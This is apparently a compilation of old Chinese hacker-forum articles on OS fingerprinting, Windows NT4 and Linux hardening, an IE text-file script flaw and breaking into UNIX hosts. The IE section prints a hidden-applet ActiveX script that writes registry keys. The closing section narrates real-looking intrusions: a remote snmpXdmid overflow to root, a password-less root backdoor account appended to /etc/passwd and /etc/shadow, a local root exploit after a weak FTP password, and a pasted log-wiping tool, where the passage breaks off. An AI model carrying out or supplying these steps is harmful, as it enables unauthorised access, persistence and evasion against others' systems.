操作系统了，或者相对应的端口使用的是什么程序，程序是什么版本的等等。不过，这些都是由那些工具自己做了，
不讨论这个，我们应该去想想这些工具到底是怎么去实现的。

对目标主机操作系统识别的目的，正如Fyodor（nmap的作者）在他的
《Remote OS detection via TCP/IP Stack FingerPrinting》中讲解那样，进行主机识别有两个主要作用，第一，很
多系统漏洞是同OS密切相关的，还有就是社会学（social engineering）问题，你能够在非常了解对方的系统之后，冒
充软件提供商给目标发送“补丁”。

按照我们上面提到的高级扫描方式，直接进行的端口扫描，能够赋予我们绕过防火墙的能力，而且可以尽可能地隐藏
自己等等，但是，我们能够得到的信息也是有限的，也许对是否开放一个端口并不是那么直接地感兴趣，比如一个21
端口，我们真正感兴趣的是这个端口被用来作什么了，运行地什么版本的程序，而不是仅仅打开一个21端口就满意了。
也就是说，我们对下面得到地这个东西更感兴趣（关系到IP的地方，我都用X代替了）：

C:\>ftp XXX.XXX.XXX.XXX
Connected to XXX.XXX.XXX.XXX.
220 XXXXX X2 WS_FTP Server 1.0.5 (1327846197)
User (XXX.XXX.XXX.XXXnone)):

其实，这就是一种最简单和最直接的判别方式，获得程序版本变相地也让我们能够估计到目标的操作系统类
别。我们可以对每个打开的端口进行相应的连接，通常这些服务程序就会非常高兴地显示自己的“banner”，也就让
我们能够直接得到他是什么版本了。甚至，我们能够得到更好的东西：

C:\>telnet XXX.XXX.XXX.XXX
Red Hat Linux release 7.1 (Seawolf)
Kernel 2.4.2-2 on an i686
login:

这让我们对操作系统版本一览无余了。正象这些只对80端口感兴趣的“黑客”一样，通过对80端口的连接，
我们也能得到足够多的信息。

C:\>telnet XXX.XXX.XXX.XXX 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Via: 1.1 ADSL2000
Content-Length: 97
Date: Thu, 24 Jan 2002 13:46:56 GMT
Content-Type: text/html
Server: Apache/1.3.20 (Unix) PHP/4.0.6
Last-Modified: Wed, 26 Dec 2001 09:22:54 GMT
ETag: "8715f-61-3c2996ee"
Accept-Ranges: bytes
Keep-Alive: timeout=15, max=100

可以注意到：Server: Apache/1.3.20 (Unix) PHP/4.0.6，这里很明白地“贡献”出WEB服务器的软件版本。

这样直接的连接探测方式，对于这些banner开放的，简直是太容易了，当然，负责的管理员也会屏蔽或者修
改掉这些BANNER。

还有一种粗劣而且简单的判别主机操作系统类型的办法就是通过Ping，然后分析得到的TTL值，当然，稍微准
确点可以同时在配合Tracert来确定主机原始的TTL值，不过，这种办法很容易被欺骗，比如，在WINDOWS系统中，对注
册表的修改：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
Key: DefaultTTL
通过对DefaultTTL的修改，比如：修改成为255，伪装成为一台UNIX主机，就能够造成探测者的错误判断。

对主机使用端口的分析，同样也能够进行操作系统识别，一些操作系统使用特殊的端口，比如：WINDOWS的
137、139,WIN2K的445，而且一些网络设备比如入侵检测系统、防火墙等等也都有厂商自己的端口开放。

上面的这些识别方式也是那些负责管理员能够简单应付的方式，这里，我们可以看看高级的主机识别技术，
这些技术主要分为两类：主动协议识别和被动协议识别，都是利用各种操作系统在网络协议通讯中使用不同的协议内
容（各个厂商有自己的规定），然后对这些不同之处进行分析进行的识别。

Nmap这个强大的扫描工具在远程主机判断上也使用了很多技术，来实现更高级的主机系统检测。这主要是通过主动的
TCP/IP协议辨识来实现的，每种操作系统在TCP交流中总是使用一些具有特性的标志，这些标志在TCP IP数据包的头中
表现出来。比如window、ACK序号、TTL等等的不同反应，通过大量的数据分析，然后精确地判断主机系统。这些系统
的协议特性包括（这只是一小部分）：
FIN识别：发送一个只有FIN标志位的TCP数据包给一个打开的端口并等待回应。正确的RFC793行为是不响应，但有些系
统，例如 MS Windows, BSDI, CISCO, HP/UX,MVS,和IRIX 发回一个RESET。

DF位识别：许多操作系统在送出的一些包中设置IP的DF（不分片）位。

WINDOW大小：检查返回包的窗口大小。特定操作系统反应的窗口大小基本是常数，例如，AIX 是唯一用0x3F25的），
Microsoft 以及OpenBSD 与FreeBSD用的是0x402E。

ACK 序号识别：不同实现中ACK的值是不同的。例如，如果你送了一个FIN|PSH|URG 到一个关闭的TCP 端口。大多数实
现会设置ACK 为你的初始序列数，而Windows 和一些傻打印机会送给你序列数加1。

在之后，Fyodor 和Ofir又分析和收集利用ICMP协议的操作系统特性来进行的主机系统判别，这种主动的识别方式都经
过了大量的分析，原理和上面的TCP/IP协议识别相同，比如：用ICMP的地址掩码请求来探测SUN操作系统，对于ICMP地
址掩码请求，只有少数操作系统会产生相应的应答，这些系统包括ULTRIX OpenVMS, Windows 95/98/98 SE/ME,
NT below SP 4, 和 SUN Solaris机器。但SUN对分片ICMP地址掩码请求的应答同其他操作系统不相同，这样就可以来
识别SUN主机操作系统。

和主动的协议识别原理相同，Lance Spitzner在《Passive Fingerprinting》中提出了被动的协议识别，同样用来判
别主机系统。这种办法主要集中考虑：
1、TTL的设置
2、WINDOW SIZE：操作系统设置的窗口大小
3、DF：操作系统是否设置分片位
4、TOS：操作系统设置的服务类型

对于TTL，对于一个操作系统来说一般是固定的，比如LINUX Kernel 2.2.x & 2.4.x的 TTL 字段值为 64，
FreeBSD 4.1, 4.0, 3.4; Sun Solaris 2.5.1, 2.6, 2.7, 2.8;的 TTL为 255 Windows NT，Windows 2000 的为 128
等，同时将配合其他需验证的内容，比如：LINUX的窗口值是0x7D78，Solaris2.6-2.7的窗口值有几种0x2328,0x2238等
等。我们以WIN2000为例，它的TTL为“128”，窗口大小在“17000-18000”这个范围内，并且设置分片位，即DF为1，
而操作系统设置的服务类型TOS为“0”，如果我们对接收的原始数据分析得到这样的结果，那么我们可以判断这是一个
WIN2000的操作系统。

当然被动协议识别操作系统也需要分析各个操作系统的不同反馈属性，然后根据得到的信息同收集的属性相比较。
比如多数系统使用DF位设置，但是有些系统如SCO和OPENBSD不使用这个DF标志，这样就可以用来识别一些没有设置DF位
的操作系统。被动协议识别也可以用来判断远程代理防火墙，因为代理防火墙重建对客户的连接，它有它自身的特征代
码，也可以用这样的办法来分析。

主动协议识别和被动协议识别需要进行大量的统计分析，虽然比最开始介绍的那些简单识别方法准确些，但是也并不能
保证一定能够识别得到准确的操作系统类型。同时这两种方法主要区别就在于一个是主动，而一个是被动的，主动识别
方式需要主动发送数据包，因此相对于那些安全设备来说，也比较容易识别这些数据包，同被动识别比较起来，隐蔽性
稍微差些。


配置好你的windows NT4.0

大家都知道NT的漏洞很多，但做好配置还是可以保证基本的安全的。下面就跟着我来做吧！
一、首先是安装，有几点需要注意的：
1、只安装一个系统。
2、不要使用FAT，而要用NTFS,因为NTFS比FAT稳定而且有些功能要用到。
3、尽量安装英文版！为什么？？呵呵~~~英文版比中文版要稳定一些，另外补丁出的也快。
还有个更重要的原因：双字节字符编码----在NT4.0+SP4+IIS4.0版本中使用asp时，使用 http://www.xxx.org/test/ok.asp? 就可看到ok.asp的原码，其原因就是IIS不能正确处理%81这个半汉字字符。
4、如果没有特殊需要，在网络协议与服务中，只安装TCP/IP，不安装其它附加的网络服务。
5、安装及配置好之前，切忌不要将机器连到网络！！
6、不要安装多余的软件，服务器是专用的，软件够用就好。
7、打好最新的补丁包：SP6

二、好了，装完了吧！让我们来看看有什么是不需要的，DELETE!!
打开控制板中的网络控制，根据自己需要删除多余的网络服务：（下面的要根据实际情况，不要照抄）
Disable NETBIOS ：
Network->Bindings->All protocola->WINS Client->Disable.
Disable WINS Client Driver：
Control Panel->Devices->WINS Client->Disable
配置TCP/IP过滤：控制面板->网络->协议-.TCP/IP协议->属性->高级->启用安全机制->配置，具体怎么配置你看着办，需要的服务端口别给关了。
三、事件记录设置（EventLog）：
应用、系统、安全记录文件大小根据实际的访问情况尽量的大一些，匿名访问记录文件设为不允许。
例如：
[System Log]
MaximumLogSize = 100032
AuditLogRetentionPeriod = 1
RetentionDays = 30
RestrictGuestAccess = 1
[Security Log]
MaximumLogSize = 100032
AuditLogRetentionPeriod = 1
RetentionDays = 30
RestrictGuestAccess = 1
[Application Log]
MaximumLogSize = 100032
AuditLogRetentionPeriod = 1
RetentionDays = 30
RestrictGuestAccess = 1
这里设置的文件大小为100M。

四、SYSTEM32目录下还有一些有潜在危险的文件，如果你用不到就删了它！！
ntvdm.exe
krnl386.exe
psxdll.dll
psxss.exe
posix.exe
os2.exe
os2ss.exe
os2srv.exe
tftp.exe
rsh.exe
rcp.exe
rexec.exe
finger.exe
lpq.exe
lpr.exe
nbtstat.exe
tracert.exe
telnet.exe
ftp.exe
最后四个比较常用，但也最危险，看着办吧！
五、设置相应的权限：
我们都知道，安装完NT后，默认地每个目录都赋予了everyone组完全控制的权限，但是作为一个服务器放到网上这是很危险的，可是很多目录将其权限改变后很容易导致机器无法启动。下买就让我们来看看该怎么设置。
首先删除everyone组，访问页面的用户名默认设置成IUSR_机器名，只要给IUSR_机器名以下的权限就可以让IIS很好地工作了：
目录：Inetpub\Wwwroot
目录：%SystemRoot%
目录：%SystemRoot%\System32
目录：%SystemRoot%\System32\Inetsrv
目录：%SystemRoot%\System32\Inetsrv\Asp (以及所有子目录)
目录：<Drive:>\Program Files\Common Files (以及所有子目录)
六、其他的设置：
正确设置虚拟目录，建议把默认安装后的那些虚拟目录删除：
c:\inetpub\iissamples，
c:\inetpub\iissamples\sdk，
c:\inetpub\AdminScripts，
c:\Program Files\Common Files\System\msadc\Samples，

删除你的网络共享：
你可以使用这样的命令net share 来看看，不必要的就删掉。将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Services\LanmanServer\Parameters 的 AutoShareServer设置为0

严格审核安全日志：
修改办法：域用户管理器->规则->审核

隐藏上次登陆用户名：
修改注册表HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows NT\Current
Version\Winlogon 中的 DontDisplayLastUserName改为0

设定用户的口令长度：（还记得那个7、14规则吗？）
一般可以设到7位，密码位数到了这个数字再被猜出的可能性就很小了；禁用guest帐号，将Administrator帐号改名，并设置一个复杂的口令。（不要设成永久可用，要养成不定期更改密码的习惯）

禁止允许未认证的用户进入网络列举用户名：
修改HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 中的RestrictAnonymous ，将它的值改为1

关闭8.3 文件名格式：
在HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\FileSystem 中将
NtfsDisable8dot3NameCreation的值设为“1”。

删除一些你用不上的组件，例如：regedit XXX.dll /u。

删除这个虚拟目录IISADMPWD，因为它允许你重新设置你的管理员口令。

删除一些不必要的Scipt Mapping，象.htr,.idc,. .htw .shtm, .stm, .shtml，都可以在IIS服务管理器删除。

----TNND,微软真会添乱！！！（防火墙还是要的，怎么？？装了防火墙还不放心！！靠！你别用算了，那样最安全！）

好了，俺知道得就这么多了，你有什么建议或补充欢迎提出！谢谢！

对了，还有个NT服务使用的端口列表，或许对你有用：
Browsing UDP:137.138
DHCP Lease UDP:67,68
DHCP Manager TCP:135
Directory Replication UDP:138 TCP/139
DNS Administration UDP/53
Event Viewer TCP:139
File Sharing TCP:139
Logon Sequence UDP:137,138 TCP139
NetLogon UDP:138
Pass Through Validation UDP:137,138 TCP:139
Performance Monitor TCP:139
PPTP TCP:1723 IP Protocol:47(GRE)
Printing UDP:137,138 TCP 139
Registry Editor TCP 139
Server Manager TCP:139
Trusts UDP:137,138 TCP:139
User Manager TCP:139
Winnt diagnostics TCP:139
WinnT Secure Channel UDP:137,138 TCP:139
WINS Replication TCP:42
WINS Manager TCP:135
WINS Registration TCP:137
Exchange
Client/Server Comm. TCP:135
Exchange Administrator TCP:135
IMAP TCP:143
IMAP(SSL) TCP:993
LDAP TCP:389
LDAP(SSL) TCP:636
MTA-X.400 Over TCP/IP TCP:102
POP3 TCP:110
POP3(SSL) TCP:995
RPC TCP:135
SMTP TCP:25
NNTP TCP:119
NNTP(SSL) TCP:563
Terminal Server
RDP Client (Microsoft) TCP:3389(pre Beta2:1503)
ICA Client (Citrix) TCP:1494


浅谈IE的文本漏洞

     IE能将*.TXT中的HTML语句读出已经是众所周知的了,这个漏洞的危害性及普遍性甚至说利用性还是不高的.
大家对HTML的语句可能造成的危害都有一定的共识,但对TXT呢,我想防患意识就不高了,上次我碰到REDCRACK,他和我开玩笑的时候,就让我去一个地方,后台开了个TXT文档,当时我没觉得不妥,事后一查,好家伙HAPPY TIME等大家伙都来了.于是我想,这个结合MIME头的运用,就可以有下载的权限了吧,现在的很多html语法都可以改注册表,推而广之,TXT的威力也是一样的,但隐蔽性绝对更高.
下面是抄来的一段代码,大家可以看看
<SCRIPT Language="JavaScript" type="text/javascript"> //这里开始调用一个JS脚本
<!--

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "I'am Chinese!!"); Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "I'am Chinese!"); //这里把IE title修改成了"I'am Chinese!"

var expdate = new Date((new Date()).getTime()
    + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString()
    + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();

// -->
</SCRIPT>

<img src=http://www.gnu.org/graphics/gnu-head-sm.jpg> //这里显示了为浏览者准备的图片。


浅谈Linux的安全设置

如今系统的安全变的越来越重要了，这里我想把我平时比较常使用的一些linux下的基本的安全措施写出来和大家探讨一下，让我们的Linux系统变得可靠。
    1、BIOS的安全设置

    这是最基本的了，也是最简单的了。一定要给你的BIOS设置密码，以防止通过在BIOS中改变启动顺序，而可以从软盘启动。这样可以阻止别有用心的试图用特殊的启动盘启动你的系统，还可以阻止别人进入BIOS改动其中的设置，使机器的硬件设置不能被别人随意改动。

    2、LILO的安全设置

    LILO是LInux

    LOader的缩写，它是LINUX的启动模块。可以通过修改“/etc/lilo.conf”文件中的内容来进行配置。在/etc/lilo.conf文件中加如下面两个参数：restricted,password。这三个参数可以使你的系统在启动lilo时就要求密码验证。

    第一步：编辑lilo.conf文件（vi /etc/lilo.comf）,假如或改变这三个参数：
    boot=/dev/hda
    map=/boot/map
    install=/boot/boot.b
    prompt
    timeout=00 #把这行该为00，这样系统启动时将不在等待，而直接启动LINUX
    message=/boot/message
    linear
    default=linux
    restricted #加入这行
    password= #加入这行并设置自己的密码

    image=/boot/vmlinuz-2.4.2-2
    label=linux
    root=/dev/hda6
    read-only

    第二步：因为"/etc/lilo.conf"文件中包含明文密码，所以要把它设置为root权限读取。
    # chmod 0600 /etc/lilo.conf

    第三步：更新系统，以便对“/etc/lilo.conf”文件做的修改起作用。
    # /sbin/lilo -v

    第四步：使用“chattr”命令使"/etc/lilo.conf"文件变为不可改变。
    # chattr +i /etc/lilo.conf

    这样可以在一定程度上防止对“/etc/lilo.conf”任何改变（意外或其他原因）

    3、让口令更加安全

    口令可以说是系统的第一道防线，目前网上的大部分对系统的攻击都是从截获口令或者猜测口令开始的，所以我们应该选择更加安全的口令。

    首先要杜绝不设口令的帐号存在。这可以通过查看/etc/passwd文件发现。例如，存在的用户名为test的帐号，没有设置口令，则在/etc/passwd文件中就有如下一行：
    test::100:9::/home/test:/bin/bash

    其第二项为空，说明test这个帐号没有设置口令，这是非常危险的！应将该类帐号删除或者设置口令。
其次，在旧版本的linux中，在/etc/passwd文件中是包含有加密的密码的，这就给系统的安全性带来了很大的隐患，最简单的方法就是可以用暴力破解的方法来获得口令。可以使用命令/usr/sbin/pwconv或者/usr/sbin/grpconv来建立/etc/shadow或者/etc/gshadow文件，这样在/etc/passwd文件中不再包含加密的密码，而是放在/etc/shadow文件中，该文件只有超级用户root可读！

    第三点是修改一些系统帐号的Shell变量，例如uucp,ftp和news等，还有一些仅仅需要FTP功能的帐号，一定不要给他们设置/bin/bash或者/bin/sh等Shell变量。可以在/etc/passwd中将它们的Shell变量置空，例如设为/bin/false或者/dev/null等，也可以使用usermod -s /dev/null username命令来更改username的Shell为/dev/null。这样使用这些帐号将无法Telnet远程登录到系统中来！

    第四点是修改缺省的密码长度：在你安装linux时默认的密码长度是5个字节。但这并不够，要把它设为8。修改最短密码长度需要编辑login.defs文件（vi/etc/login.defs），把下面这行
    PASS_MIN_LEN 5
    改为
    PASS_MIN_LEN 8
    login.defs文件是login程序的配置文件。

    4、自动注销帐号的登录

    在unix系统中root账户是具有最高特权的。如果系统管理员在离开系统之前忘记注销root账户，那将会带来很大的安全隐患，应该让系统会自动注销。通过修改账户中“TMOUT”参数，可以实现此功能。TMOUT按秒计算。编辑你的profile文件（vi /etc/profile）,在"HISTFILESIZE="后面加入下面这行：
    TMOUT=300

    300，表示300秒，也就是表示5分钟。这样，如果系统中登陆的用户在5分钟内都没有动作，那么系统会自动注销这个账户。你可以在个别用户的“.bashrc”文件中添加该值，以便系统对该用户实行特殊的自动注销时间。

    改变这项设置后，必须先注销用户，再用该用户登陆才能激活这个功能。

    5、取消普通用户的控制台访问权限

    你应该取消普通用户的控制台访问权限，比如shutdown、reboot、halt等命令。
    # rm -f /etc/security/console.apps/
    是你要注销的程序名。

    6、取消并反安装所有不用的服务

    取消并反安装所有不用的服务，这样你的担心就会少很多。察看“/etc/inetd.conf”文件，通过注释取消所有你不需要的服务（在该服务项目之前加一个“#”）。然后用“sighup”命令升级“inetd.conf”文件。

    第一步：

    更改“/etc/inetd.conf”权限为600，只允许root来读写该文件。
    # chmod 600 /etc/inetd.conf

    第二步：

    确定“/etc/inetd.conf”文件所有者为root。

    第三步：

    编辑 /etc/inetd.conf文件（vi /etc/inetd.conf），取消下列服务（你不需要的）：ftp, telnet, shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger, auth等等。把不需要的服务关闭可以使系统的危险性降低很多。

    第四步：

    给inetd进程发送一个HUP信号：
    # killall -HUP inetd

    第五步：

    用chattr命令把/ec/inetd.conf文件设为不可修改，这样就没人可以修改它：
    # chattr +i /etc/inetd.conf

     这样可以防止对inetd.conf的任何修改（以外或其他原因）。唯一可以取消这个属性的人只有root。如果要修改inetd.conf文件，首先要是取消不可修改性质：
    # chattr -i /etc/inetd.conf

    别忘了该后再把它的性质改为不可修改的。

    7、TCP_WRAPPERS

    使用TCP_WRAPPERS可以使你的系统安全面对外部入侵。最好的策略就是阻止所有的主机（"/etc/hosts.deny"文件中加入"ALL: ALL@ALL, PARANOID" ），然后再在"/etc/hosts.allow" 文件中加入所有允许访问的主机列表。

    第一步：

    编辑hosts.deny文件（vi /etc/hosts.deny），加入下面这行
    # Deny access to everyone.
    ALL: ALL@ALL, PARANOID

    这表明除非该地址包在允许访问的主机列表中，否则阻塞所有的服务和地址。

    第二步：

    编辑hosts.allow文件（vi /etc/hosts.allow），加入允许访问的主机列表，比如：
    ftp: 202.54.15.99 foo.com
    202.54.15.99和 foo.com是允许访问ftp服务的ip地址和主机名称。

    第三步：

    tcpdchk程序是tepd wrapper设置检查程序。它用来检查你的tcp wrapper设置，并报告发现的潜在的和真实的问题。设置完后，运行下面这个命令：
    # tcpdchk

    8、修改“/etc/host.conf”文件

    “/etc/host.conf”说明了如何解析地址。编辑“/etc/host.conf”文件（vi /etc/host.conf），加入下面这行：
    # Lookup names via DNS first then fall back to /etc/hosts.
    order bind,hosts
    # We have machines with multiple IP addresses.
    multi on
    # Check for IP address spoofing.
    nospoof on

    第一项设置首先通过DNS解析IP地址，然后通过hosts文件解析。第二项设置检测是否“/etc/hosts”文件中的主机是否拥有多个IP地址（比如有多个以太口网卡）。第三项设置说明要注意对本机未经许可的电子欺骗。

    9、使“/etc/services”文件免疫

    使“/etc/services”文件免疫，防止未经许可的删除或添加服务：
    # chattr +i /etc/services

    10、不允许从不同的控制台进行root登陆

    "/etc/securetty"文件允许你定义root用户可以从那个TTY设备登陆。你可以编辑"/etc/securetty"文件，再不需要登陆的TTY设备前添加“#”标志，来禁止从该TTY设备进行root登陆。

    在/etc/inittab文件中有如下一段话：
    # Run gettys in standard runlevels
    1:2345:respawn:/sbin/mingetty tty1
    2:2345:respawn:/sbin/mingetty tty2
    #3:2345:respawn:/sbin/mingetty tty3
    #4:2345:respawn:/sbin/mingetty tty4
    #5:2345:respawn:/sbin/mingetty tty5
    #6:2345:respawn:/sbin/mingetty tty6

    系统默认的可以使用6个控制台，即Alt+F1,Alt+F2...，这里在3，4，5，6前面加上“#”，注释该句话，这样现在只有两个控制台可供使用，最好保留两个。然后重新启动init进程，改动即可生效！

    11、使用PAM（可插拔认证模块）禁止任何人通过su命令改变为root用户su(Substitute

    User替代用户)命令允许你成为系统中其他已存在的用户。如果你不希望任何人通过su命令改变为root用户或对某些用户限制使用su命令，你可以在su配置文件（在"/etc/pam.d/"目录下）的开头添加下面两行：
编辑su文件(vi /etc/pam.d/su)，在开头添加下面两行：
    auth sufficient /lib/security/pam_rootok.so
    auth required /lib/security/Pam_wheel.so group=wheel

    这表明只有"wheel"组的成员可以使用su命令成为root用户。你可以把用户添加到“wheel”组，以使它可以使用su命令成为root用户。添加方法可以用这个命令：chmod -G10 username 。

    12、Shell logging Bash

    shell在“~/.bash_history”（“~/”表示用户目录）文件中保存了500条使用过的命令，这样可以使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。bash
shell应该保存少量的命令，并且在每次用户注销时都把这些历史命令删除。

    第一步：

    “/etc/profile”文件中的“HISTFILESIZE”和“HISTSIZE”行确定所有用户的“.bash_history”文件中可以保存的旧命令条数。强烈建议把把“/etc/profile”文件中的“HISTFILESIZE”和“HISTSIZE”行的值设为一个较小的数，比如30。编辑profile文件（vi/etc/profile），把下面这行改为：
    HISTFILESIZE=30
    HISTSIZE=30

    这表示每个用户的“.bash_history”文件只可以保存30条旧命令。

    第二步：

    网管还应该在"/etc/skel/.bash_logout" 文件中添加下面这行"rm -f $HOME/.bash_history" 。这样，当用户每次注销时，“.bash_history”文件都会被删除。

    编辑.bash_logout文件(vi /etc/skel/.bash_logout) ，添加下面这行：
    rm -f $HOME/.bash_history

    13、禁止Control-Alt-Delete键盘关闭命令

    在"/etc/inittab" 文件中注释掉下面这行（使用#）：
    ca::ctrlaltdel:/sbin/shutdown -t3 -r now
    改为：
    #ca::ctrlaltdel:/sbin/shutdown -t3 -r now

    为了使这项改动起作用，输入下面这个命令：
    # /sbin/init q

    14、给"/etc/rc.d/init.d" 下script文件设置权限

    给执行或关闭启动时执行的程序的script文件设置权限。
    # chmod -R 700 /etc/rc.d/init.d/*

    这表示只有root才允许读、写、执行该目录下的script文件。

    15、隐藏系统信息

    在缺省情况下，当你登陆到linux系统，它会告诉你该linux发行版的名称、版本、内核版本、服务器的名称。对于黑客来说这些信息足够它入侵你的系统了。你应该只给它显示一个“login:”提示符。

    首先编辑"/etc/rc.d/rc.local" 文件，在下面显示的这些行前加一个“#”，把输出信息的命令注释掉。
    # This will overwrite /etc/issue at every boot. So, make any changes you
    # want to make to /etc/issue here or you will lose them when you reboot.
    #echo "" > /etc/issue
    #echo "$R" >> /etc/issue
    #echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
    #
    #cp -f /etc/issue /etc/issue.net
    #echo >> /etc/issue

    其次删除"/etc"目录下的“isue.net”和"issue"文件：
    # rm -f /etc/issue
    # rm -f /etc/issue.net

    16、禁止不使用的SUID/SGID程序

    如果一个程序被设置成了SUID

    root，那么普通用户就可以以root身份来运行这个程序。网管应尽可能的少使用SUID/SGID 程序，禁止所有不必要的SUID/SGID程序。

    查找root-owned程序中使用's'位的程序：
    # find / -type f ( -perm -04000 -o -perm -02000 ) -exec ls -lg {} \;

    用下面命令禁止选中的带有's'位的程序：
    # chmod a-s [program]

    以上这些都是一些维护系统安全所需要的一些基本的比较简单的步骤，要想让你的系统更加安全，还需要做很多，如配置OpenSSL等，维护系统的稳定和安全是一个持续的长久的工作，需要花大量的时间和精力。这里仅仅列出一些我平时工作的一些心得，和大家交流一下！


浅谈入侵UNIX

一：基本知识

1：常见UNIX版本：
SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware...
2:简单介绍几个
sunos&solaris SUN本来想用solaris取代sunos，不过在用户的要求下，到目前为止，还是维持两者并存的政策；
Freebsd是著名的BSD-UNIX的一的继承者，是UNIX众多分支中相当稳定的一个，很多ISP均使用运行Freebsd；
Linux是一个面对PC机个人用户的自由廉价的UNIX产品（其硬件平台是Intel系列的CPU），实际上众多的网络管理员真正使用的是Linux。
3：UNIX操作系统的特点
（1）多用户和多任务；（2）可移植性；（3）树行结构的文件系统；（4）I/O重定向技术和管道技术；（5）丰富的实用程序；（6）每个用户都有电子邮件。
4：尤为突出的优点
（1）稳定可靠性高；（2）网络功能强；（3）开发性好；（4）强大的数据库支持功能；（5）伸缩性强。

二：入侵目的

1：学习UNIX，熟悉内部操作，整体配置...
2：做跳板或以此捕捉更多UNIX肉鸡；
3：越权得到某些正常请求下得不到的东西；
4：攻击破坏或以此作为利器来破坏其他系统；
5：更多......

三：入侵方法

1：寻找目标

工具：supperscan，流光，LANguard Network Scanner 2.0或者其他，凭个人喜好选用
supperscan：扫描23，79端口，注意含%，#，&...主机，这些就是UNIX；
LANguard..作简单设置，即可开始，判断对方操作系统功能乃同类软件中的精品，直观准确；
流光：利用高级扫描，选telnet，PRC，POP3，FTP，Finger即可。
其他方法一样...
（说明：很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息，请注意识别）

2：开始入侵

（1）溢出（所有关于UNIX的溢出，都需要在一个UNIX／Linux的环境下进行编译）
A：远程溢出
溢出？呵呵，太多了！随便说几个：freebsd远程溢出，bind 远程溢出，Sun Solaris 5.7/5.8 Sparc远程溢出，redhat6.xrpc status远程溢出...自己去一一了解吧，在这里我简单说两个例子：
a1：考虑到很多朋友使用windows，所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》（地址：http://www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=），因为这个溢出程序有已经编译好了可以直接在windows下使用；
a2un Solaris 5.7 Sparc远程溢出
搜索...终于让我找到了一台sunos 5.7，上我一台sunos 5.8
telnet 66.*.146.48 ----->>这是我的！
SunOS 5.8

login: ply
Password:
Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$ tmp/.sh ----->>当时溢出时做的处理！
# ls
bin data etc initrd mnt proc sbin usr
boot dev home lib misc opt root tmp var
xfn skip
# cat >snmp.c

....... ----->>太长了，省略...自己去找！

# gcc -o snmp snmp.c ----->>用gcc编译
snmp.c: In function ****main':
snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
# ls
bin data etc initrd mnt proc sbin snmp usr
boot dev home lib misc opt root snmp.c tmp var
# ./snmp
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

usage: ./s address [-p port] -v 7|8
#./snmp 216.*.45.63 -v 7 ---->开始溢出！！
DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root) ----->>是root哦！
echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加个用户先！
echo "ply::::::::" >> /etc/shadow
... ----->>还想干什么就继续吧！

B：本地溢出
本地溢出需要一个具有Shell权限的帐号，这个帐号可以通过pop3或ftp弱密码得到，照样举个例子：
流光扫描...一会儿得到了一个ftp帐号（webmaster，webmaster），先telnet上去！
telnet *.174.62.135

Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定！
Kernel 2.2.12-20kr2smp on an i686
login: webmaster
Password:
Last login: Wed Apr 24 02:21:58 from *.*.*.*
You have mail. ----->>这家伙有新邮件，不过我没兴趣！
[webmaster@ns webmaster]$ ----->>气人的普通用户$
[webmaster@ns webmaster]$cat >ts.c
... ----->>要学会利用网络资源，自己找，当是练习！
[webmaster@ns webmaster]$gcc -o ts ts.c ----->>还是用gcc编译。
In file included from /usr/include/asm/user.h:5,
from /usr/include/linux/user.h:1,
from ts.c:30:
/usr/include/linux/ptrace.h:22: warning: ****PTRACE_SYSCALL' redefined
/usr/include/sys/ptrace.h:103: warning: this is the location of the previous def
inition
[webmaster@ns webmaster]$ ls
Desktop/ Mail/ ts* ts.c
[webmaster@ns webmaster]$ ./ts
attached
bash# su root
[root@ns webmaster]# ----->>搞定，看见#我就高兴！
[root@ns webmaster]# cat >wipe.c ----->>扫脚印的，这个还是给大家吧，否则有人要扁我了！
/*=============================================================================
UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security ( http://shadowpenguin.backsection.net )
Written by UNYUN ( unewn4th@usa.net )
=============================================================================
*/

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
